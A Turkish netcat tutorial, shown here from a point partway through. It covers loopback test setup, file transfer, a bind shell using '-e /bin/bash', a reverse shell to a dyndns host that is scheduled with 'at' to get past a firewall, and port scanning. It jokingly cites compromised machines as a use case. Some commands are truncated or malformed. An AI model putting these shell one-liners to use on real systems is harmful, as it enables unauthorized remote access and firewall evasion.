lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
Tamaam artık iki tane network aygıtımız var: lo:1 ve lo:2 bunlarla sanki bağımsız makinalarmış gibi NetCat deneyleri yapabileceğiz.
Network Bağlantısı
-------------------
Dediğimiz gibi netcat en basit haliyle bir telnet istemcisi gibi kullanılabilir. nc host port komutu ile sözkonusu host makinasına herhangi bir açık porttan bağlanıldığında yazdığınız her şey karşı tarafa gider, karşı tarafın her tepkisi de size gelir. Bu aradaki ağ bağlantısı kesilene kadar sürer (ki bu davranış, dosya-sonu (EOF) işareti gelene kadar bağlantıyı açık tutup bu işareti alınca kesen birçok programdan faklıdır).
NetCat bir istemci olduğu gibi bir sunucudur da aynı zamanda.
Şimdi iki tane konsol açalım: Bir tanesi bizim sunucumuz olacak 5600 nolu portu dinleyecek
netcat -l -p 5600
Diğeri ise istemcimiz olacak ve bu porta bağlanacak:
netcat 10.0.1.1 5600
Şu anda ikinci konsolda yazdığınız herşey ilk konsolda tekrarlanacaktır. İlk bağlantımızı gerçekleştirdik. Biraz deneyler yapın, entera basin, backspace basın, ctrl-d, ctrl-c yapın neler olduğunu gözlemleyin.
Ctrl-C bağlantınızı kesmiş olsa gerek. Şimdi biraz daha farklı bir şey deneyeceğiz.
İlk konsolda bu sefer
netcat -l -p 5600 -vv
yazın. İkincisindeki komut yine aynı:
nc 10.0.1.1 5600
Bir farklılık gördünüz mü?
listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354
NetCat bu sefer size bir sürü bilgi verdi. Bunun sebebi kullandığımız -vv komutu. Bunu tek v ile kullanırsanız biraz daha az bilgi alırsınız, bazı problem çözme durumlarında çok hayat kurtarıcı olabilir bu özellik.
Bu sefer ctrl-c ile kestiğimizde ise NetCat sunucu tarafında bize ne kadar veri gönderilip ne kadar veri alındığını belirtir.
Böylece bir network aygıtından bir diğerine protokol, izin vs. derdi olmadan (firewall'lar elverdiğince) bağlandık.
Dosya Transferi
---------------
NetCat'in en basit özelliklerinden biri olan bu özellik, bütün basit şeyler gibi akıllı bir kullanıcının elinde hemen her şey için kullanılabilir.
En pratik yanlarından biri mesela dosya transferi. Daha yeni kurulmuş bir makinaya dosya transferi için ftp sunucusu kurmak, kullanıcıları ayarlamak, daha da kötüsü rcp/scp gibi protokollerle uğraşmak çok başağrıtıcı olabilir. En basitinden bu komutlar makinada bulunmamaktadır bile vs.
Sadece bir netcat komutu ile bu işlemleri yapmamız mümkün.
Kullanım hala basit; sunucu tarafında:
nc -v -w 30 -p 5600 -l > dosyaismi.back
istemci tarafında ise:
nc -v -w 2 10.0.1.1 5600 <>
Gördüğünüz gibi bir taraftan gelen dosyaismi isimli dosya diğer tarafta dosyaismi.back şeklinde oluşturuldu. İçeriklerine bakarsanız bu iki dosyanın aynı olduğunu da görürsünüz. Tabii bu iş için bir fark olmadığını görebilmeniz açısından herhangi bir ASCII metin dosyası kullanmanızda fayda var.
Komut satırını incelediğimizde yeni argüman olarak -w komutunu görüyoruz. -w bize beklememiz için gereken süreyi verir. Sunucu tarafında bunu daha uzun tuttuk zira alıcı, dolayısıyla bir gecikmeden etkilenecek taraf orası. İstemci tarafında ise 2 sn yeterli geldi. Genelde bu süre telnet istemcilerinde 3 sn civarındadır, -w 3 kullanırsanız bu tür uygulamalarınızda pek sorunla karşılaşmazsınız.
-v komutunun yapılan işlem hakkında bilgi verdiğini zaten anlatmıştık. Bir başka önemli nokta da Unix kullanıcılarının yakından bildiği > yönlendirme işareti.
Sunucu tarafında netcat çalıştırırken > dosyaismi.back dedik, bu komutun çıktısını > dosyaismi.back dosyasına gönder anlamını taşıyordu. İştemcide kullandığımız <>
Peki bunu yaptık ama nedense iki tarafta da hataya benzer çıktılar aldık.
Sunucu:
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33368
İstemci:
10.0.1.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.1.1] 5600 (?) open
Bunlar temelde Unix altındaki network komutlarının kendilerine gelen bağlantıların kaynağını kontrol etme çabasından kaynaklanıyor. Normalde hepimiz DNS'in yaptığı işi biliriz, gelen bir alan adını bir IP numarası ile eşleştirip geriden gelen paketlere yol göstermek. Buna host lookup denir. Sunucular ise bunun tam tersini yaparlar, kendilerine gelen IP numaralı istemcileri reverse lookup ile isimlere eşlerler. Eğer bir ftp/ssh/telnet vs. sunucunuz varsa ve LAN'da olmanıza rağmen her bağlantınızda cevap vermesi bir miktar zaman alıyorsa büyük ihtimalle bu reverse lookup seçeneği açık demektir.
Burada NetCat'in -n seçeneğini kullanıp bu kontrolü devredışı bırakacağız.
nc -v -w 30 -n -p 5600 -l > dosyaismi.back
ve
nc -v -w 2 -n 10.0.1.1 5600 <>
Evet bakın problem yok.
Peki diyelim dosyayı sıkıştırıp göndermek istiyorsunuz, böylece aradaki transfer süresinden kazanacaksınız. Ayrıca dosyayı sıkıştırıp göndermek de size yetmiyor öteki tarafta da otomatik olarak açılsın istiyorsunuz.
sunucu:
nc -v -w 30 -p 5600 -l < /dev/null | uncompress -c > dosyaismi.back
istemci:
compress -c <>
Burada işlemi biraz daha karmaşıklaştırmış olsak da hala anlaşılabilir sınırlar içinde tuttuk. Bir tarafta compress edilen dosya diğer tarafta açılıyor. Burada belki kafanızı karıştıracak nokta /dev/null o da hata mesajlarının gözükmemesi için.
Telnet
-------
Tamam dosya transferi gerçekleştirdik. Yaptığımız iş aslında bu tür bir çalışmada yapılacak iki temel tekniği bir araya getirmek, sunucu istemci mimarisinde bir bağlantı sağlamak. Fakat bu bağlantı sadece bir veri akışını sağlıyor, halbuki bizim tercih edeceğimiz daha işe yarar bir bağlantı belki bir telnet sunucusu gibi diğer makinada problemsizce komut çalıştırmamıza izin verecek bir bağlantı olabilirdi.
Bunun için de netcatin -e seçeneği var.
Konsol 1'de
netcat -l -p 5600 -e /bin/bash
Konsol2'de ise
nc 10.0.1.1 5600
yazdığımızda artık sanki telnetle ilk makinaya bağlanmış ve "shell"e düşmüş gibiyiz. Verdiğimiz her komutun çıktısını Konsol2'de görecek ve diğer makinaya istediğimizi yaptırabileceğiz.
Bu yöntemin en önemli problemi bize her ne kadar kolay bir erişim sağlıyor olsa da aynı derecede ciddi bir güvenlik açığını da birlikte getiriyor olmasıdır. Port taraması yapan biri bu ardına kadar açık gediği bulursa halimiz çok kötü olabilir. Ama zaten bu tür bir hızlı-pratik bağlantı (şifre bile sormuyor ;) genelde insanın pek KENDİ makinasına yapacağı bir şey de değil ;)
Reverse Telnet
---------------
Fakat hani böyle bir program varken elimizin altında insan biraz daha yaramaz bir şeyler yapmak istiyor ne bileyim hani bir tarafta bir makina olsa, bu makina öyle kabak gibi orta yerde yer almak yerine (işe yarar bütün makinalar gibi) bir firewall arkasında olsa, dışardan erişilebilecek gerçek bir IP'si dahi olmasa. Ama biz buna erişsek, login olsak, hatta login olmadan direkt girsek sorgusuz sualsiz, sonra da istediğimiz emirleri versek bu makinada bu komutlar çalışsa, sanki bir telnet istemcisi gibi... ;)
Nasıl eğlenceli geldi mi?
Eğlenceli olduğu kadar kolay, güvenlik tarafında da paranoyak bir admin gerektirecek kadar kapanması zor bir nokta bu. Bu tür bir şeyi niye yaparsınız, işyerindeki makinanız evdeki makinanın 100 katı bant genişliğine sahiptir, gece vakti kimseler yokken download başlatmak istersiniz, veya sözkonusu makina bir başkasınındır siz onu ele geçirmişsinizdir, fakat firewall arkasında olduğundan dolayı erişemiyorsunuzdur, bir işinize yaramıyordur.
Öncelikle şunu açıklığa kavuşturalım, firewall arkasında, gerçek IP'si bile olmayan bir makinaya telnet yapmak mümkün değildir ? Çünkü öncelikle bu makinanın bir ADRESİ YOKTUR. Çıkışlarını router üzerinden NAT'la yapıyordur, bu sistem bir tarafa doğru işlerken diğer tarafa doğru işlememektedir. Dahası bir IP'si bile olsa muhtemelen sistem yöneticisi 80 ve 21 gibi çok popüler ve Internet kullanıcılarına yönelik portlar dışındaki portları kapatmıştır ve sizin güzel hatırınız için de açmaz.
Eee, ama bunun yapılabileceğini söylemiştik. Şimdi de diyoruz ki bu şekilde TELNET yapılamaz! Burda çelişki yok, zira yapacağımız TELNET ama REVERSE TELNET.
Madem biz içerdeki makinaya erişemiyoruz, içerdeki makinanın bizim makinamıza erişmesini ve bizden emir beklemesini sağlayacağız bu kadar basit :)
Karışıklığa yol açmamak için şöyle bir senaryo yapalım.
evdeki makinanın ismi "ev"
işteki makinanın ismi "iş" olsun
Diyelim ki işteki makinayı bir at job ile açık bıraktık. Bu makina saat 10:01 itibariyle:
nc ev.dyndns.org 1400 -e /bin/bash
komutunu çalıştırmak üzere hazır. Sonra eve gittik, evde saat 10:00 itibariyle
nc -vv -l -p 1400
komutunu çalıştırdık.
Bu komut bilgisayarımıza diyor ki 1400 numaralı portu dinle.
Saat 10:01 itibariyle işteki makinan da at komutu sayesinde
nc ev.dyndns.org 1400 -e /bin/bash
komutunu çalıştırdığında işteki bilgisayar içerden dışarıya bir port sınırlaması olmayan firewalldan nazikçe süzülerek evdeki bilgisayarın kendisini beklemekte olan 1400 numaralı portuna bağlanır ve kendisinde (işte) /bin/bash komutunu çalıştırır.
NetCat'in çalışma mantığı doğrultusunda ev makinası iş makinasındaki bash komutunun çıktılarını alır, yazdığımız herşeyi de ona girdi olarak gönderir.
Konsol1'de nc -vv -l -p 1400 çalıştırıyoruz (bu evdeki makina gibi, dinlemeye alıyoruz bunu)
Konsol2'de nc 10.0.1.1 1400 -e /bin/bash (bu da işteki makina)
Şimdi Konsol1'de yazdığımız her işlem aslında Konsol2'de yapılıyor oldu. Bu daha önceki Telnet sunucu istemci örneğimize benziyor fakat orda çalışan bir komut yoktu, burada ise var ve yaptığı iş bir Telnet sunucusu ile neredeyse aynı (sağolsun bash)
Bu yöntemin güzel yanı ise bütün pasif bağlantılarda olduğu gibi güvenlik açığınının minimum olması. Zira bir başkasının girebileceği bağlantı bekleyen bir port yok. İçerdeki makina sizin ona daha önceden verdiğiniz IP ile bağlantı kuruyor, sadece onun ile ve belli bir zamanda. Bu da kolay kolay müdahale edilebilecek bir şey değil. Tabi bağlantının vanilla text olduğunu gözardı eder, herhangi bir ssh wrapper kullanmazsak.
Bir dezavantajımız var sizin firewallunuz dışarı herhangibir porttan çıkmaya izin vermiyor olabilir,o yüzden port olarak 80 ya da 443 gibi bir sey kullanmak gerekebilir.
Bu arada evde dialup kullanıcısı olduğumuzu varsayarsak (en kötü ihtimal :p) ev makinasının ipsinin değişken olacağını gözönüne alıp, dynamicdns gibi bir hizmet kullanmakta fayda var: http://www.dyndns.org/
PortScan
---------
Birçok özelliği bünyesinde bulunduran NetCat aynı zamanda bir port tarayıcıdır da da.
Çok basit olarak:
nc -v -w5 10.0.1.1 20-250
bize 20 ile 250 arasındaki portları bağlantı için 5 sn bekleyerek taramamızı sağlar.
Belli bir porta bağlanıp çıktısını (banner vs. gibi) almak içinse
nc -z -w10 10.0.0.1.1. 110
komutu işe yarar
Ara (soluklanın biraz)
----------------------
NetCat gibi küçük olmasına rağmen kullanımı sonsuz bir program için "Sonsöz" söylemek çok mümkün olmasa gerek, o yüzden basitçe bir ara ile bu yazıya burada bir virgül koyuyorum. Daha sayısız özellik ile sayısız network görevini NetCat ile gerçekleştirmek mümkün. Bu konuda en güzel kaynak programın yazarı olan Hobbit tarafından yazılmış olan /usr/share/doc/netcat/README.gz ve man dosyası.
